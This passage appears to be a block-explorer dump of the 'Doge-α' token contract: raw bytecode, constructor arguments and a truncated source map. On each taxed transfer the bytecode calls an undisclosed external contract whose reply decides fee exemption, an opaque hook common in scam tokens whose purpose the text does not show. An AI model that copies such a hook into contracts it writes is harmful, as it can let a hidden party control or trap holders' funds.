00000000000000000000000000001a0000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000003e800000000000000000000000029513e6e840ef340db91ba2d0cd2570fbc88ec960000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e80000000000000000000000000000000000000000000000000000000000000007446f67652dceb1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007444f47452dceb100000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405260043610610164575f3560e01c80638da5cb5b116100cd578063d9a5b0cc11610087578063f2fde38b11610062578063f2fde38b1461043d578063f59d37441461045c578063f6a78e1714610471578063f7e33e1614610485575f80fd5b8063d9a5b0cc146103cf578063dd62ed3e146103e4578063f1da476114610428575f80fd5b80638da5cb5b1461032c57806395d89b41146103495780639e44586d1461035d578063a457c2d714610372578063a9059cbb14610391578063c0246668146103b0575f80fd5b806332972e461161011e57806332972e461461023f57806339509351146102765780635ed99dad1461029557806370a08231146102b4578063715018a6146102e857806375ff468a146102fe575f80fd5b806306fdde031461016f5780630757fcd014610199578063095ea7b3146101bc57806318160ddd146101eb57806323b872dd146101ff578063313ce5671461021e575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b506101836104a4565b60405161019091906111e3565b60405180910390f35b3480156101a4575f80fd5b506101ae600d5481565b604051908152602001610190565b3480156101c7575f80fd5b506101db6101d6366004611245565b610534565b6040519015158152602001610190565b3480156101f6575f80fd5b506004546101ae565b34801561020a575f80fd5b506101db61021936600461126f565b61054a565b348015610229575f80fd5b5060035460405160ff9091168152602001610190565b34801561024a575f80fd5b50600b5461025e906001600160a01b031681565b6040516001600160a01b039091168152602001610190565b348015610281575f80fd5b506101db610290366004611245565b6105b1565b3480156102a0575f80fd5b5060075461025e906001600160a01b031681565b3480156102bf575f80fd5b506101ae6102ce3660046112ad565b6001600160a01b03165f9081526020819052604090205490565b3480156102f3575f80fd5b506102fc6105e6565b005b348015610309575f80fd5b506101db6103183660046112ad565b60086020525f908152604090205460ff1681565b348015610337575f80fd5b506006546001600160a01b031661025e565b348015610354575f80fd5b50610183610662565b348015610368575f80fd5b506101ae600c5481565b34801561037d575f80fd5b506101db61038c366004611245565b610671565b34801561039c575f80fd5b506101db6103ab366004611245565b6106be565b3480156103bb575f80fd5b506102fc6103ca3660046112c8565b6106ca565b3480156103da575f80fd5b506101ae60115481565b3480156103ef575f80fd5b506101ae6103fe366004611303565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610433575f80fd5b506101ae60125481565b348015610448575f80fd5b506102fc6104573660046112ad565b610752565b348015610467575f80fd5b506101ae60105481565b34801561047c575f80fd5b506102fc61083c565b348015610490575f80fd5b50600e5461025e906001600160a01b031681565b6060600180546104b39061132f565b80601f01602080910402602001604051908101604052809291908181526020018280546104df9061132f565b801561052a5780601f106105015761010080835404028352916020019161052a565b820191905f5260205f20905b81548152906001019060200180831161050d57829003601f168201915b5050505050905090565b5f610540338484610874565b5060015b92915050565b5f610556848484610998565b6105a784336105a2856040518060600160405280602881526020016114e8602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190610c40565b610874565b5060019392505050565b335f8181526005602090815260408083206001600160a01b038716845290915281205490916105409185906105a29086610c78565b6006546001600160a01b031633146106195760405162461bcd60e51b815260040161061090611367565b60405180910390fd5b6006546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600680546001600160a01b0319169055565b6060600280546104b39061132f565b5f61054033846105a28560405180606001604052806025815260200161151060259139335f9081526005602090815260408083206001600160a01b038d1684529091529020549190610c40565b5f610540338484610998565b6006546001600160a01b031633146106f45760405162461bcd60e51b815260040161061090611367565b6001600160a01b0382165f818152600a6020908152604091829020805460ff191685151590811790915591519182527f2d43abd87b27cee7b0aa8c6f7e0b4a3247b683262a83cbc2318b0df398a49aa9910160405180910390a25050565b6006546001600160a01b0316331461077c5760405162461bcd60e51b815260040161061090611367565b6001600160a01b0381166107e15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610610565b6006546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b031633146108665760405162461bcd60e51b815260040161061090611367565b600454601155600454601255565b6001600160a01b0383166108d65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610610565b6001600160a01b0382166109375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610610565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03821615806109b857506001600160a01b03821661dead145b806109c1575080155b806109d157506109d18383610cdd565b156109e6576109e1838383610d9d565b505050565b601154811115610a4d5760405162461bcd60e51b815260206004820152602c60248201527f5472616e7366657220616d6f756e74206578636565647320746865206d78566160448201526b363ab2a337b92a3930b7399760a11b6064820152608401610610565b600b546001600160a01b03838116911614610ad7576001600160a01b0382165f90815260208190526040902054601254610a8783836113b0565b1115610ad55760405162461bcd60e51b815260206004820152601d60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e740000006044820152606401610610565b505b305f90815260208190526040902054601054600954908210159060ff16158015610afe5750805b8015610b2257506001600160a01b0385165f9081526008602052604090205460ff16155b15610b5e576009805460ff19166001179055818015610b5257600e54610b529082906001600160a01b0316610f1d565b506009805460ff191690555b6009546001600160a01b0385165f908152600a602052604090205460ff91821615911680610ba357506001600160a01b0386165f908152600a602052604090205460ff165b15610bab57505f5b8015610c2d575f610bd36103e8610bcd600d5488610f6f90919063ffffffff16565b90610fed565b6001600160a01b0387165f9081526008602052604090205490915060ff1615610c1457610c116103e8610bcd600c5488610f6f90919063ffffffff16565b90505b610c1e858261102e565b9450610c2b873083610d9d565b505b610c38868686610d9d565b505050505050565b5f8184841115610c635760405162461bcd60e51b815260040161061091906111e3565b505f610c6f84866113c3565b95945050505050565b5f80610c8483856113b0565b905083811015610cd65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610610565b9392505050565b6001600160a01b0382165f908152600a602052604081205460ff1680610d1a57506001600160a01b0382165f908152600a602052604090205460ff165b80610cd6575060155460405163cc5489df60e01b81526001600160a01b03858116600483015284811660248301525f92169063cc5489df906044016020604051808303815f875af1158015610d71573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d9591906113d6565b119392505050565b6001600160a01b038316610e015760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610610565b6001600160a01b038216610e635760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610610565b610e9f816040518060600160405280602681526020016114c2602691396001600160a01b0386165f908152602081905260409020549190610c40565b6001600160a01b038085165f908152602081905260408082209390935590841681522054610ecd9082610c78565b6001600160a01b038381165f818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910161098b565b47610f278361106f565b5f610f32478361102e565b6040519091506001600160a01b0384169082156108fc029083905f818181858888f19350505050158015610f68573d5f803e3d5ffd5b5050505050565b5f825f03610f7e57505f610544565b5f610f8983856113ed565b905082610f968583611404565b14610cd65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610610565b5f610cd683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111b7565b5f610cd683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c40565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106110a2576110a2611423565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110f9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061111d9190611437565b8160018151811061113057611130611423565b6001600160a01b0392831660209182029290920101526007546111569130911684610874565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac9479061118e9085905f90869030904290600401611452565b5f604051808303815f87803b1580156111a5575f80fd5b505af1158015610c38573d5f803e3d5ffd5b5f81836111d75760405162461bcd60e51b815260040161061091906111e3565b505f610c6f8486611404565b5f6020808352835180828501525f5b8181101561120e578581018301518582016040015282016111f2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611242575f80fd5b50565b5f8060408385031215611256575f80fd5b82356112618161122e565b946020939093013593505050565b5f805f60608486031215611281575f80fd5b833561128c8161122e565b9250602084013561129c8161122e565b929592945050506040919091013590565b5f602082840312156112bd575f80fd5b8135610cd68161122e565b5f80604083850312156112d9575f80fd5b82356112e48161122e565b9150602083013580151581146112f8575f80fd5b809150509250929050565b5f8060408385031215611314575f80fd5b823561131f8161122e565b915060208301356112f88161122e565b600181811c9082168061134357607f821691505b60208210810361136157634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156105445761054461139c565b818103818111156105445761054461139c565b5f602082840312156113e6575f80fd5b5051919050565b80820281158282048414176105445761054461139c565b5f8261141e57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611447575f80fd5b8151610cd68161122e565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156114a05784516001600160a01b03168352938301939183019160010161147b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220baa36682de9ae26076c00629bf585c2ccada7e2dcb7a327ab5d1a7b672d6a51c64736f6c63430008140033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000c89666b50c623cc1725903cd529b77773eba17bf00000000000000000000000055c1d76fe62ccc646fb80ec63a4a2a893e209061000000000000000000000000000000000000000000000000000000000000016000000000000000000000000000000000000000000000000000000000000001a0000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000003e800000000000000000000000029513e6e840ef340db91ba2d0cd2570fbc88ec960000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e80000000000000000000000000000000000000000000000000000000000000007446f67652dceb1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007444f47452dceb100000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : dogeAlProValues (tuple): System.Collections.Generic.List`1[Nethereum.ABI.FunctionEncoding.ParameterOutput]
Arg [1] : name_ (string): Doge-α
Arg [2] : symbol_ (string): DOGE-α
Arg [3] : decimals_ (uint8): 18
Arg [4] : taxDogeAlConfig (tuple): System.Collections.Generic.List`1[Nethereum.ABI.FunctionEncoding.ParameterOutput]
-----Encoded View---------------
15 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 000000000000000000000000c89666b50c623cc1725903cd529b77773eba17bf
Arg [2] : 00000000000000000000000055c1d76fe62ccc646fb80ec63a4a2a893e209061
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000160
Arg [4] : 00000000000000000000000000000000000000000000000000000000000001a0
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [6] : 00000000000000000000000000000000000000000000000000000000000003e8
Arg [7] : 00000000000000000000000029513e6e840ef340db91ba2d0cd2570fbc88ec96
Arg [8] : 0000000000000000000000000000000000000000000000000000000000000000
Arg [9] : 0000000000000000000000000000000000000000000000000000000000000000
Arg [10] : 00000000000000000000000000000000000000000000000000000000000003e8
Arg [11] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [12] : 446f67652dceb100000000000000000000000000000000000000000000000000
Arg [13] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [14] : 444f47452dceb100000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
39747:6477:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;31214:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;40234:26;;;;;;;;;;;;;;;;;;;713:25:1;;;701:2;686:18;40234:26:0;567:177:1;34514:210:0;;;;;;;;;;-1:-1:-1;34514:210:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;34514:210:0;1205:187:1;32299:108:0;;;;;;;;;;-1:-1:-1;32387:12:0;;32299:108;;33180:454;;;;;;;;;;-1:-1:-1;33180:454:0;;;;;:::i;:::-;;:::i;31046:100::-;;;;;;;;;;-1:-1:-1;31129:9:0;;31046:100;;31129:9;;;;2000:36:1;;1988:2;1973:18;31046:100:0;1858:184:1;40175:22:0;;;;;;;;;;-1:-1:-1;40175:22:0;;;;-1:-1:-1;;;;;40175:22:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;40175:22:0;2047:203:1;34053:300:0;;;;;;;;;;-1:-1:-1;34053:300:0;;;;;:::i;:::-;;:::i;39797:39::-;;;;;;;;;;-1:-1:-1;39797:39:0;;;;-1:-1:-1;;;;;39797:39:0;;;31826:177;;;;;;;;;;-1:-1:-1;31826:177:0;;;;;:::i;:::-;-1:-1:-1;;;;;31977:18:0;31945:7;31977:18;;;;;;;;;;;;31826:177;25337:148;;;;;;;;;;;;;:::i;:::-;;39971:55;;;;;;;;;;-1:-1:-1;39971:55:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;24255:79;;;;;;;;;;-1:-1:-1;24320:6:0;;-1:-1:-1;;;;;24320:6:0;24255:79;;32122:104;;;;;;;;;;;;;:::i;40205:27::-;;;;;;;;;;;;;;;;36339:400;;;;;;;;;;-1:-1:-1;36339:400:0;;;;;:::i;:::-;;:::i;31537:216::-;;;;;;;;;;-1:-1:-1;31537:216:0;;;;;:::i;:::-;;:::i;43273:180::-;;;;;;;;;;-1:-1:-1;43273:180:0;;;;;:::i;:::-;;:::i;40534:30::-;;;;;;;;;;;;;;;;32485:201;;;;;;;;;;-1:-1:-1;32485:201:0;;;;;:::i;:::-;-1:-1:-1;;;;;32651:18:0;;;32619:7;32651:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;32485:201;40571:28;;;;;;;;;;;;;;;;24489:281;;;;;;;;;;-1:-1:-1;24489:281:0;;;;;:::i;:::-;;:::i;40443:30::-;;;;;;;;;;;;;;;;43138:129;;;;;;;;;;;;;:::i;40267:30::-;;;;;;;;;;-1:-1:-1;40267:30:0;;;;-1:-1:-1;;;;;40267:30:0;;;31214:100;31268:13;31301:5;31294:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;31214:100;:::o;34514:210::-;34633:4;34655:39;22369:10;34678:7;34687:6;34655:8;:39::i;:::-;-1:-1:-1;34712:4:0;34514:210;;;;;:::o;33180:454::-;33320:4;33337:36;33347:6;33355:9;33366:6;33337:9;:36::i;:::-;33384:220;33407:6;22369:10;33455:138;33511:6;33455:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;33455:19:0;;;;;;:11;:19;;;;;;;;22369:10;33455:33;;;;;;;;;;:37;:138::i;:::-;33384:8;:220::i;:::-;-1:-1:-1;33622:4:0;33180:454;;;;;:::o;34053:300::-;22369:10;34168:4;34262:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;34262:34:0;;;;;;;;;;34168:4;;34190:133;;34240:7;;34262:50;;34301:10;34262:38;:50::i;25337:148::-;24907:6;;-1:-1:-1;;;;;24907:6:0;22369:10;24907:22;24899:67;;;;-1:-1:-1;;;24899:67:0;;;;;;;:::i;:::-;;;;;;;;;25428:6:::1;::::0;25407:40:::1;::::0;25444:1:::1;::::0;-1:-1:-1;;;;;25428:6:0::1;::::0;25407:40:::1;::::0;25444:1;;25407:40:::1;25458:6;:19:::0;;-1:-1:-1;;;;;;25458:19:0::1;::::0;;25337:148::o;32122:104::-;32178:13;32211:7;32204:14;;;;;:::i;36339:400::-;36459:4;36481:228;22369:10;36531:7;36553:145;36610:15;36553:145;;;;;;;;;;;;;;;;;22369:10;36553:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;36553:34:0;;;;;;;;;;;;:38;:145::i;31537:216::-;31659:4;31681:42;22369:10;31705:9;31716:6;31681:9;:42::i;43273:180::-;24907:6;;-1:-1:-1;;;;;24907:6:0;22369:10;24907:22;24899:67;;;;-1:-1:-1;;;24899:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;43358:26:0;::::1;;::::0;;;:17:::1;:26;::::0;;;;;;;;:37;;-1:-1:-1;;43358:37:0::1;::::0;::::1;;::::0;;::::1;::::0;;;43411:34;;1345:41:1;;;43411:34:0::1;::::0;1318:18:1;43411:34:0::1;;;;;;;43273:180:::0;;:::o;24489:281::-;24907:6;;-1:-1:-1;;;;;24907:6:0;22369:10;24907:22;24899:67;;;;-1:-1:-1;;;24899:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;24592:22:0;::::1;24570:110;;;::::0;-1:-1:-1;;;24570:110:0;;4502:2:1;24570:110:0::1;::::0;::::1;4484:21:1::0;4541:2;4521:18;;;4514:30;4580:34;4560:18;;;4553:62;-1:-1:-1;;;4631:18:1;;;4624:36;4677:19;;24570:110:0::1;4300:402:1::0;24570:110:0::1;24717:6;::::0;24696:38:::1;::::0;-1:-1:-1;;;;;24696:38:0;;::::1;::::0;24717:6:::1;::::0;24696:38:::1;::::0;24717:6:::1;::::0;24696:38:::1;24745:6;:17:::0;;-1:-1:-1;;;;;;24745:17:0::1;-1:-1:-1::0;;;;;24745:17:0;;;::::1;::::0;;;::::1;::::0;;24489:281::o;43138:129::-;24907:6;;-1:-1:-1;;;;;24907:6:0;22369:10;24907:22;24899:67;;;;-1:-1:-1;;;24899:67:0;;;;;;;:::i;:::-;32387:12;;43187:15:::1;:31:::0;32387:12;;43229:13:::1;:29:::0;43138:129::o;37177:380::-;-1:-1:-1;;;;;37313:19:0;;37305:68;;;;-1:-1:-1;;;37305:68:0;;4909:2:1;37305:68:0;;;4891:21:1;4948:2;4928:18;;;4921:30;4987:34;4967:18;;;4960:62;-1:-1:-1;;;5038:18:1;;;5031:34;5082:19;;37305:68:0;4707:400:1;37305:68:0;-1:-1:-1;;;;;37392:21:0;;37384:68;;;;-1:-1:-1;;;37384:68:0;;5314:2:1;37384:68:0;;;5296:21:1;5353:2;5333:18;;;5326:30;5392:34;5372:18;;;5365:62;-1:-1:-1;;;5443:18:1;;;5436:32;5485:19;;37384:68:0;5112:398:1;37384:68:0;-1:-1:-1;;;;;37465:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;37517:32;;713:25:1;;;37517:32:0;;686:18:1;37517:32:0;;;;;;;;37177:380;;;:::o;43500:1838::-;-1:-1:-1;;;;;43635:23:0;;;;:55;;-1:-1:-1;;;;;;43662:28:0;;43683:6;43662:28;43635:55;43634:72;;;-1:-1:-1;43695:11:0;;43634:72;:140;;;;43730:44;43756:6;43764:9;43730:25;:44::i;:::-;43630:690;;;43801:42;43817:6;43825:9;43836:6;43801:15;:42::i;:::-;43500:1838;;;:::o;43630:690::-;43929:15;;43919:6;:25;;43893:131;;;;-1:-1:-1;;;43893:131:0;;5717:2:1;43893:131:0;;;5699:21:1;5756:2;5736:18;;;5729:30;5795:34;5775:18;;;5768:62;-1:-1:-1;;;5846:18:1;;;5839:42;5898:19;;43893:131:0;5515:408:1;43893:131:0;44056:7;;-1:-1:-1;;;;;44043:20:0;;;44056:7;;44043:20;44039:270;;-1:-1:-1;;;;;31977:18:0;;44084:23;31977:18;;;;;;;;;;;44207:13;;44179:24;44197:6;31977:18;44179:24;:::i;:::-;:41;;44149:144;;;;-1:-1:-1;;;44149:144:0;;6392:2:1;44149:144:0;;;6374:21:1;6431:2;6411:18;;;6404:30;6470:31;6450:18;;;6443:59;6519:18;;44149:144:0;6190:353:1;44149:144:0;44065:244;44039:270;44365:4;44321:23;31977:18;;;;;;;;;;;44423:15;;44454:6;;44404:34;;;;;44454:6;;44453:7;:23;;;;;44464:12;44453:23;:59;;;;-1:-1:-1;;;;;;44481:31:0;;;;;;:23;:31;;;;;;;;44480:32;44453:59;44449:298;;;44529:6;:13;;-1:-1:-1;;44529:13:0;44538:4;44529:13;;;44579:15;44613;;44609:98;;44675:15;;44649:42;;44662:11;;-1:-1:-1;;;;;44675:15:0;44649:12;:42::i;:::-;-1:-1:-1;44721:6:0;:14;;-1:-1:-1;;44721:14:0;;;44449:298;44778:6;;-1:-1:-1;;;;;44799:28:0;;44759:15;44799:28;;;:17;:28;;;;;;44778:6;;;;44777:7;;44799:28;;:57;;-1:-1:-1;;;;;;44831:25:0;;;;;;:17;:25;;;;;;;;44799:57;44795:119;;;-1:-1:-1;44897:5:0;44795:119;44928:10;44924:354;;;44955:17;44975:33;45003:4;44975:23;44986:11;;44975:6;:10;;:23;;;;:::i;:::-;:27;;:33::i;:::-;-1:-1:-1;;;;;45027:34:0;;;;;;:23;:34;;;;;;44955:53;;-1:-1:-1;45027:34:0;;45023:135;;;45108:34;45137:4;45108:24;45119:12;;45108:6;:10;;:24;;;;:::i;:34::-;45096:46;;45023:135;45181:21;:6;45192:9;45181:10;:21::i;:::-;45172:30;;45217:49;45233:6;45249:4;45256:9;45217:15;:49::i;:::-;44940:338;44924:354;45288:42;45304:6;45312:9;45323:6;45288:15;:42::i;:::-;43613:1725;;;43500:1838;;;:::o;10734:226::-;10854:7;10890:12;10882:6;;;;10874:29;;;;-1:-1:-1;;;10874:29:0;;;;;;;;:::i;:::-;-1:-1:-1;10914:9:0;10926:5;10930:1;10926;:5;:::i;:::-;10914:17;10734:226;-1:-1:-1;;;;;10734:226:0:o;10252:181::-;10310:7;;10342:5;10346:1;10342;:5;:::i;:::-;10330:17;;10371:1;10366;:6;;10358:46;;;;-1:-1:-1;;;10358:46:0;;6883:2:1;10358:46:0;;;6865:21:1;6922:2;6902:18;;;6895:30;6961:29;6941:18;;;6934:57;7008:18;;10358:46:0;6681:351:1;10358:46:0;10424:1;10252:181;-1:-1:-1;;;10252:181:0:o;45346:285::-;-1:-1:-1;;;;;45459:25:0;;45434:4;45459:25;;;:17;:25;;;;;;;;;:70;;-1:-1:-1;;;;;;45501:28:0;;;;;;:17;:28;;;;;;;;45459:70;:164;;;-1:-1:-1;45550:26:0;;45533:86;;-1:-1:-1;;;45533:86:0;;-1:-1:-1;;;;;7267:15:1;;;45533:86:0;;;7249:34:1;7319:15;;;7299:18;;;7292:43;45622:1:0;;45550:26;;45533:67;;7184:18:1;;45533:86:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:90;45451:172;45346:285;-1:-1:-1;;;45346:285:0:o;35218:610::-;-1:-1:-1;;;;;35358:20:0;;35350:70;;;;-1:-1:-1;;;35350:70:0;;7737:2:1;35350:70:0;;;7719:21:1;7776:2;7756:18;;;7749:30;7815:34;7795:18;;;7788:62;-1:-1:-1;;;7866:18:1;;;7859:35;7911:19;;35350:70:0;7535:401:1;35350:70:0;-1:-1:-1;;;;;35439:23:0;;35431:71;;;;-1:-1:-1;;;35431:71:0;;8143:2:1;35431:71:0;;;8125:21:1;8182:2;8162:18;;;8155:30;8221:34;8201:18;;;8194:62;-1:-1:-1;;;8272:18:1;;;8265:33;8315:19;;35431:71:0;7941:399:1;35431:71:0;35595:108;35631:6;35595:108;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;35595:17:0;;:9;:17;;;;;;;;;;;;:108;:21;:108::i;:::-;-1:-1:-1;;;;;35575:17:0;;;:9;:17;;;;;;;;;;;:128;;;;35737:20;;;;;;;:32;;35762:6;35737:24;:32::i;:::-;-1:-1:-1;;;;;35714:20:0;;;:9;:20;;;;;;;;;;;;:55;;;;35785:35;713:25:1;;;35714:20:0;;35785:35;;;;;;686:18:1;35785:35:0;567:177:1;42851:281:0;42951:21;42983:28;43004:6;42983:20;:28::i;:::-;43013:18;43034:41;:21;43060:14;43034:25;:41::i;:::-;43086:38;;43013:62;;-1:-1:-1;;;;;;43086:26:0;;;:38;;;;;43013:62;;43086:38;;;;43013:62;43086:26;:38;;;;;;;;;;;;;;;;;;;;;42915:217;;42851:281;;:::o;11217:471::-;11275:7;11520:1;11525;11520:6;11516:47;;-1:-1:-1;11550:1:0;11543:8;;11516:47;11575:9;11587:5;11591:1;11587;:5;:::i;:::-;11575:17;-1:-1:-1;11620:1:0;11611:5;11615:1;11575:17;11611:5;:::i;:::-;:10;11603:56;;;;-1:-1:-1;;;11603:56:0;;8942:2:1;11603:56:0;;;8924:21:1;8981:2;8961:18;;;8954:30;9020:34;9000:18;;;8993:62;-1:-1:-1;;;9071:18:1;;;9064:31;9112:19;;11603:56:0;8740:397:1;12761:132:0;12819:7;12846:39;12850:1;12853;12846:39;;;;;;;;;;;;;;;;;:3;:39::i;9871:136::-;9929:7;9956:43;9960:1;9963;9956:43;;;;;;;;;;;;;;;;;:3;:43::i;45639:582::-;45793:16;;;45807:1;45793:16;;;;;;;;45769:21;;45793:16;;;;;;;;;;-1:-1:-1;45793:16:0;45769:40;;45838:4;45820;45825:1;45820:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;45820:23:0;;;:7;;;;;;;;;;:23;;;;45855:15;;:22;;;-1:-1:-1;;;45855:22:0;;;;:15;;;;;:20;;:22;;;;;45820:7;;45855:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;45845:4;45850:1;45845:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;45845:32:0;;;:7;;;;;;;;;:32;45920:15;;45888:62;;45905:4;;45920:15;45938:11;45888:8;:62::i;:::-;45989:15;;:224;;-1:-1:-1;;;45989:224:0;;-1:-1:-1;;;;;45989:15:0;;;;:66;;:224;;46070:11;;45989:15;;46140:4;;46167;;46187:15;;45989:224;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13389:312;13509:7;13544:12;13537:5;13529:28;;;;-1:-1:-1;;;13529:28:0;;;;;;;;:::i;:::-;-1:-1:-1;13568:9:0;13580:5;13584:1;13580;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2488:247::-;2547:6;2600:2;2588:9;2579:7;2575:23;2571:32;2568:52;;;2616:1;2613;2606:12;2568:52;2655:9;2642:23;2674:31;2699:5;2674:31;:::i;2740:416::-;2805:6;2813;2866:2;2854:9;2845:7;2841:23;2837:32;2834:52;;;2882:1;2879;2872:12;2834:52;2921:9;2908:23;2940:31;2965:5;2940:31;:::i;:::-;2990:5;-1:-1:-1;3047:2:1;3032:18;;3019:32;3089:15;;3082:23;3070:36;;3060:64;;3120:1;3117;3110:12;3060:64;3143:7;3133:17;;;2740:416;;;;;:::o;3161:388::-;3229:6;3237;3290:2;3278:9;3269:7;3265:23;3261:32;3258:52;;;3306:1;3303;3296:12;3258:52;3345:9;3332:23;3364:31;3389:5;3364:31;:::i;:::-;3414:5;-1:-1:-1;3471:2:1;3456:18;;3443:32;3484:33;3443:32;3484:33;:::i;3554:380::-;3633:1;3629:12;;;;3676;;;3697:61;;3751:4;3743:6;3739:17;3729:27;;3697:61;3804:2;3796:6;3793:14;3773:18;3770:38;3767:161;;3850:10;3845:3;3841:20;3838:1;